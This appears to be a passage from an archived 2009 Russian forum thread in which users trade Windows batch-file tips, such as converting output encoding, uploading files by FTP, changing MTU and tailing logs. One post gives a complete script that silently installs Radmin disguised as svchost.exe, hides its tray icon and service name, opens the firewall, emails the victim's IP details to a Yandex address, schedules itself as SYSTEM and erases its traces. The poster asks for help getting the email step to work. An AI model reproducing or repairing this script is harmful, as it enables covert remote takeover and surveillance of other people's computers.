Ru-Board.club
← Вернуться в раздел «Microsoft Windows»

» Задачи на bat-файлах 6

Автор: Maza_Faka
Дата сообщения: 12.03.2009 08:40
Dexxy
Насколько я помню Nero ImageDrive поддерживает консольные команды:

Код:
ImageDrive c:\temp\MyIsoFile.iso
Автор: PopovSergej
Дата сообщения: 12.03.2009 12:42
Есть ли возможность с помощью батника узнавать и копировать в буфер обмена реальный IP адрес ?
Автор: Mr_Hat
Дата сообщения: 12.03.2009 15:47
PopovSergej
в текстовый файл, да, а вот в буфер, это что то новенькое..


Код:
@echo off
ipconfig /all | more | find "IP-адрес" >%temp%\test.txt
cd /d %temp%
start /wait test.txt
del /f /q test.txt
exit
Автор: RuVirus
Дата сообщения: 12.03.2009 17:00
Уважаемые коллеги!
Как сделать что бы в блокнот, лог выполнения скрипта шел не в ibm866 а в 1251? Что бы небыло кракозябр.

Никак не могу побороть проблему!

Пример:
ping 12.30.45.2 > C:\1.txt

сделать так что бы в текстовике небыло кракозябр!
Автор: Nagual
Дата сообщения: 12.03.2009 18:25
Dexxy
с неактивным параметром "Использовать ее для всех файлов такого типа"
Код:
Rundll32 shell32.dll,OpenAs_RunDLL "что" %2
с активным параметром "Использовать ее для всех файлов такого типа"
Код:
Rundll32 shell32.dll,OpenAs_RunDLL "что"

Добавлено:
RuVirus

Цитата:
лог выполнения скрипта шел не в ibm866 а в 1251?

никак, утилита ping выводит результаты своей работы в кодировке 866
для достижения требуемой задачи можно использовать различные кодировщики 866>1251 (ищем в сети) или редактор файлов, автоматически распознающий кодировку 866, например, akelpad
если дойдут руки руки, напишу wsh-скриптик для этого, работающий с параметрами...
Автор: Dexxy
Дата сообщения: 12.03.2009 20:20
Maza_Faka про это я знал, но всё равно спасибо.
И отдельная благодарность за ответ - Nagual, навёл на путь истенный...
Это уже лучше чем через правую кнопку и меню... но можно ли без вызова окна?
Автор: yurkesha
Дата сообщения: 12.03.2009 22:07
RuVirus

Цитата:
сделать так что бы в текстовике небыло кракозябр!

конечно настройка блокнота здесь офтоп - но на прямой вопрос - прямой ответ:
установить в "Блокноте" шрифт "Terminal", кодировка OEM/DOS.
Автор: Dexxy
Дата сообщения: 12.03.2009 23:54

Цитата:
Пример:
ping 12.30.45.2 > C:\1.txt

сделать так что бы в текстовике небыло кракозябр!


У меня вообще Tahoma, и всё без кракозябр работает...
Так что yurkesha +1
Автор: 01MDM
Дата сообщения: 13.03.2009 04:32
RuVirus, yurkesha, Dexxy

Два способа без изменения настроек блокнота.
Первый с использованием сторонней утилиты-перекодировщицы (здесь iconv.exe):

Код:
ping 127.0.0.1 | iconv -f cp866 -t cp1251 1>ping.txt
Автор: dddimmm
Дата сообщения: 13.03.2009 06:35
Всем привет! Помогите решить такую проблемку...
Имеется главная машина с ОС Windows Server 2003 SP2 Enterprise Edition,
В назначенных заданиях имеется задание на запуск калькулятора в 8:00 (данное задание действует как будильник для вывода машины из спящего режима)...
а теперь собственно о проблеме...
Если отправлять сервак в спящий режим с помощью Пуск - Завершение работы - Переход в спящий режим....то ровно в 8:00, калькулятор будет сервак и все нормально загружается...
а вот если же отправить сервак в спящие режим с помощью батника:

rundll32.exe powrprof.dll,SetSuspendState

то сервак уходит в летаргический сон) и пока не ткнешь на кнопку его ничего не разбудит...В батниках я разбираюсь не очень…подскажите в чем может быть проблема? Как правильно написать команду в бат файле, которая работала бы по аналогии Пуск - Завершение работы - Переход в спящий режим…?

Спасибо…

Автор: Maza_Faka
Дата сообщения: 13.03.2009 07:27
dddimmm
Посмотри здесь
Автор: RuVirus
Дата сообщения: 13.03.2009 10:04
201MDM

Цитата:
RuVirus, yurkesha, Dexxy

Два способа без изменения настроек блокнота.
Первый с использованием сторонней утилиты-перекодировщицы (здесь iconv.exe):

Код:
ping 127.0.0.1 | iconv -f cp866 -t cp1251 1>ping.txt



Второй средствами батника без сторонних утилит, но с минимальной потерей форматирования:

Код:
@echo off
for /f "tokens=*" %%i in ('ping 127.0.0.1') do set "ping=%%i" && call:convert "%%i"
goto:eof

:convert
if %1=="" echo.>>ping.txt && goto:eof
chcp 1251 1>nul
echo %ping:<=^<% 1>>ping.txt
chcp 866 1>nul


Честно чет не могу найти в чистой винде утилиту iconv может подскажешь где она находится?!
iconv — утилита UNIX (и одноимённая библиотека) для преобразования текста из одной кодировки в другую. ммм

Ща решил поставить задачу под другим углом, лог скрипта выводится в один фаил, по его окончании запускается следующий скрипт который конфертит текст из лога первого скрипта в нормальный вид нач. отдела... а то мли впадлу шрифты в блокноте пересчитывать?

Как бы решить сию задачу?
Автор: dddimmm
Дата сообщения: 13.03.2009 12:21
Maza_Faka
большое спасибо...
Автор: 01MDM
Дата сообщения: 13.03.2009 12:57
RuVirus

Цитата:
Честно чет не могу найти в чистой винде утилиту iconv может подскажешь где она находится?!

Я сразу написал что это сторонняя утилита (сам эгзешник и зависимости):
http://gnuwin32.sourceforge.net/packages/libiconv.htm

Второй вариант не требует никаких сторонних утилит, все делается штатными силами. Просто прописываешь в батнике нужный IP и запускаешь. Только не называй его ping.(cmd|bat)
Автор: Teboyev
Дата сообщения: 13.03.2009 13:39
Помогите пожалуйста. Мне нужно чтоб батник забирал с локального пути файл созданый сегодня и кидал его на фтп. Ковырял forfiles - не получается. Сделал батник но он берет только указаные файлы, вот

chcp 866
open ftp.ru
login
password
cd ***\***
put c:\3\2\1\10000080.txt
put c:\4\3\2\20000081.txt
disconnect
pause

- как туда forfiles воткнуть?

Teboyev

Цитата:
Ковырял forfiles - не получается

Можно так:

Код:

@Echo Off

Set "FTPDIR=C:\FTPSend"

Forfiles /M *.txt /D +%DATE% /C "cmd /c copy "@path" "%FTPDIR%""


А кидать на FTP из папки %FTPDIR%.
- - можно побробно все действия описать ?! куда вписывать этот код @Echo Off

Set "FTPDIR=C:\FTPSend"

Forfiles /M *.txt /D +%DATE% /C "cmd /c copy "@path" "%FTPDIR%""
ит ипт. ОЧекнь сильно надо, помогите!

Добавлено:
Помогите пожалуйста. Мне нужно чтоб батник забирал с локального пути файл созданый сегодня и кидал его на фтп. Ковырял forfiles - не получается. Сделал батник но он берет только указаные файлы, вот

chcp 866
open ftp.ru
login
password
cd ***\***
put c:\3\2\1\10000080.txt
put c:\4\3\2\20000081.txt
disconnect
pause

- как туда forfiles воткнуть?

Teboyev

Цитата:
Ковырял forfiles - не получается

Можно так:

Код:

@Echo Off

Set "FTPDIR=C:\FTPSend"

Forfiles /M *.txt /D +%DATE% /C "cmd /c copy "@path" "%FTPDIR%""


А кидать на FTP из папки %FTPDIR%.

--- подробно расскажите пожалуйста куда и как что писать.


Добавлено:
Помогите пожалуйста. Мне нужно чтоб батник забирал с локального пути файл созданый сегодня и кидал его на фтп. Ковырял forfiles - не получается. Сделал батник но он берет только указаные файлы, вот

chcp 866
open ftp.ru
login
password
cd ***\***
put c:\3\2\1\10000080.txt
put c:\4\3\2\20000081.txt
disconnect
pause

- как туда forfiles воткнуть?

Teboyev

Цитата:
Ковырял forfiles - не получается
@Echo Off

Set "FTPDIR=C:\FTPSend"

Forfiles /M *.txt /D +%DATE% /C "cmd /c copy "@path" "%FTPDIR%""


Можно так:

Код:

А кидать на FTP из папки %FTPDIR%.
- -куда код засовывать?! подробно скажите плиз
Автор: king_stiven
Дата сообщения: 13.03.2009 14:52
Teboyev
Внимательно внимательно читаем...
http://forum.ru-board.com/topic.cgi?forum=62&topic=13556&start=320
Автор: Teboyev
Дата сообщения: 13.03.2009 19:28
целью не стоит изучить. цель быстро сделать. вы спецы, так почему просто не помочь, без всяких ссылок, а скрестить два кода которые указал.
Автор: faeshka
Дата сообщения: 13.03.2009 21:15
помогите сделать такую вещь:
батник должен переключить sample rate звуковой карты: с 44.1khz на 48khz и обратно на 44.1khz
Автор: Nagual
Дата сообщения: 14.03.2009 00:42
dddimmm
Перевод системы в спящий режим
Код:
powercfg/h on &&rundll32 powrprof.dll,SetSuspendState
Перевод системы в ждущий режим
Код:
powercfg/h off &&rundll32 powrprof.dll,SetSuspendState
Автор: magistrfet
Дата сообщения: 14.03.2009 12:37
никто не встречал, как написать файлик для смены значения MTU в Висте согласно
http://www.kitz.co.uk/adsl/vistaMTU.htm
Автор: BorlandIMHO
Дата сообщения: 14.03.2009 13:37
magistrfet
???
Просто вписываешь соответствующую команду в .cmd и всё...

Код: netsh interface ipv4 set subinterface "My Network Connection Name" mtu=1430 store=persistent
Автор: magistrfet
Дата сообщения: 14.03.2009 14:44
BorlandIMHO
не, это понятно, я имею ввиду посложнее: пока у меня получилось вот так:

вверху меню, далее goto:


Код:
:MTU2
@ECHO OFF
ipconfig /all
echo Please find from list your WIFI connection
echo Please enter your WIFI connection name here:
set /p "anscon=Enter your WIFI connection: "
echo Please enter your MTU :
set /p "ansmtu2=Enter your MTU:
netsh interface ipv4 set subinterface ""%anscon%"" mtu="%ansmtu2%" store=persistent
ECHO * MTU PATCH SUCCESFULLY DONE - PRESS ANY KEY TO EXIT *
ECHO * YOU NEED REBOOT COMPUTER TO TAKE CHANGE EFFECT *
@PAUSE
EXIT
Автор: dumsik
Дата сообщения: 14.03.2009 17:09

Цитата:
добрый день

подскажите пожалуйста как можно изменить короткое имя?


Код:dir /x
10.03.2009 11:19 <DIR> DRWEBE~2 DrWeb Enterprise Suite
10.02.2009 17:44 <DIR> DRWEBE~1 DrWeb Enterprise Suite OLD


поскольку у DrWeb в реестре используются короткие имена


Используй команду for и операцию подстановки

примерно так будет:

for /D %%a in ("%CD%\*.*") DO echo %%~sa
Автор: maxi812
Дата сообщения: 15.03.2009 04:22
Скажите что не так ?

Бат для копирования Р Админ и отсылка IP адреса на мыло ...

почему не отсылает...

--------------------------------------------------------

cmdow @ /HID


copy /y "blat.exe" "%SYSTEMROOT%/system32/blat.exe"
copy /y "blat.lib" "%SYSTEMROOT%/system32/blat.lib"
copy /y "blat.dll" "%SYSTEMROOT%/system32/blat.dll
copy /y "svchost.exe" "%SYSTEMROOT%/svchost.exe"
copy /y "raddrv.dll" "%SYSTEMROOT%/raddrv.dll"
copy /y "admdll.dll" "%SYSTEMROOT%/admdll.dll"

netsh firewall add allowedprogram "%Windir%\svchost.exe" "Remote Administrator Server" ENABLE

REG ADD HKLM\SYSTEM\RAdmin\v2.0\Server\Parameters /v DisableTrayIcon /t REG_BINARY /d 00000001 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\r_server /v DisplayName /t REG_SZ /d "Service Host Controller" /f

"%SYSTEMROOT%/svchost.exe" /install /silence
"%SYSTEMROOT%/svchost.exe" /start

%SYSTEMROOT%/system32/blat.exe -install -server smtp.yandex.ru -port 587 -f вашапочта@yandex.ru -u вашлогин -pw вашпароль

ipconfig /all > %systemroot%/system32/ip.txt

blat.exe %systemroot%/system32/ip.txt -to вашапочта@yandex.ru

schtasks /create /tn "security" /sc minute /mo 15 /ru "NT AUTHORITY\SYSTEM" /tr %SYSTEMROOT%/system32\ip.bat


del cmdow.exe
del blat.exe
del blat.lib
del blat.dll
del raddrv.dll
del admdll.dll
del svchost.exe
del install.bat



--------------------------------------------------------
Автор: Bozer12
Дата сообщения: 15.03.2009 10:51
Как сделать батник типа команды tail в Unix. Что бы печатал последние 10 строк из текстового файла. Кроме чтения текстовых файлов ничего не нашел.
Автор: 01MDM
Дата сообщения: 15.03.2009 11:46
Bozer12

Цитата:
Как сделать батник типа команды tail в Unix.


Можно http://tailforwin32.sourceforge.net/

Или такой вариант, каждые 3 секунды выводит новые строчки лога:

Код:
@echo off
setlocal

set sourcelog="C:\Logs\test.log"

set skip=0
set size=0

:start
for %%i in (%sourcelog%) do (
if %%~zi neq %size% (
set size=%%~zi
call:tail
)
)
ping -n 4 127.0.0.1 1>nul
goto:start

:tail
more +%skip% %sourcelog%
for /f %%i in ('more +%skip% %sourcelog%') do set /a skip+=1
Автор: inetsofter
Дата сообщения: 15.03.2009 14:26
Необходимо перед установкой программы сделать следующее:
- проверить через реестр версию windows (если не Vista/7 - продолжение установки (setup.exe) иначе
- выполнить проверку на включеннный/выключенный UAC под Vista/7 посредством определения следующих значения реестра:
[HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System]
"ConsentPromptBehaviorAdmin"=0
[HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ System]
"EnableLUA"="0"
Если значения отличны от "0", программа установки прекращает инсталляцию, выдав соответствующее сообщение о необходимости отключения UAC, в противном случае процесс установки беспрепятственно продолжается.
Необходимо грамотно написать сценарий установки. Прошу всех, кто может, помочь мне в этом
Автор: M0rphey
Дата сообщения: 16.03.2009 09:19
Добрый день!
Подскажите, задача такая, есть сервер, на нём стоят принтера, суть: при входе в домен у пользователя из нетлогон запускался бы батник, который удаляет у пользователя все сетевые принтеры, а затем заново ставит сетевые принтеры (не делая привязку на имя принтера), насколько это возможно сделать =-) заранее благодарен за помощь!
Автор: vlasenkoa
Дата сообщения: 16.03.2009 11:27
День добрый! Подскажите пожалуйста! Локальная сеть с внутр. ip. Задача получать ежедневно утилиту Cureit с drweb. Раньше работал такой батник:
@echo off
echo get pub/drweb/cureit/cureit.exe d:\Shared\cureit.exe >ftp.cnf
echo bye >>ftp.cnf
ftp -s:ftp.cnf -A ftp.drweb.com
del /a ftp.cnf
После включения фаервола на шлюзе Cisco - Мой батник не работает! Могу заходить на любой ftp только в пассивном режиме! Что изменить в батнике что-бы коннектится в пасс. режиме и возможно ли это?
Автор: wolf0425
Дата сообщения: 16.03.2009 14:39

Цитата:
Или такой вариант, каждые 3 секунды выводит новые строчки лога:

Хороший вариант...
Вот бы еще как-то прикрутить к нему, что если обновление лога произошло - кроме новых строчек шел звуковой сигнал? пискнуть выводом 07h вполне бы устроило - но без перевода строки...

Страницы: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667

Предыдущая тема: как сохранить сетевые настройки


Форум Ru-Board.club — поднят 15-09-2016 числа. Цель - сохранить наследие старого Ru-Board, истории становления российского интернета. Сделано для людей.